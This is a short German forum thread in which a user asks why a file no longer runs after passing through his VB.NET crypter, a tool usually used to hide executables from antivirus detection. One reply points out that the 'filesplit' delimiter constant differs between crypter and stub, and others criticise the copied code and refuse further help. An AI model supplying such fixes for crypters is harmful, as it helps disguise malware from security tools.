kann mir fill einer sagen wo das prob ist

Mach dein Code erstmal in Code Tags...

[xtreme ernst]

hatt keiner ne ide woran das ligen kann ? das sich die datei nach dem crypten nicht ausführen lässt?

[sn0w]

Vielleicht weils nur c&p ist und du keine Ahnung hast, was das ganze macht?

[Ixam]

crypter:
Const filesplit = "@xtreme@"
stub:
Const filesplit = "ma"

filesplit muss in Crypter & Stub gleich sein!!!

Code ist kopiert und auch noch schlecht formatiert. Derartiges wird hier nicht unterstützt. Beschäftigte dich richtig mit dem Thema Programmieren in VB.NET oder lasse es ganz bleiben!
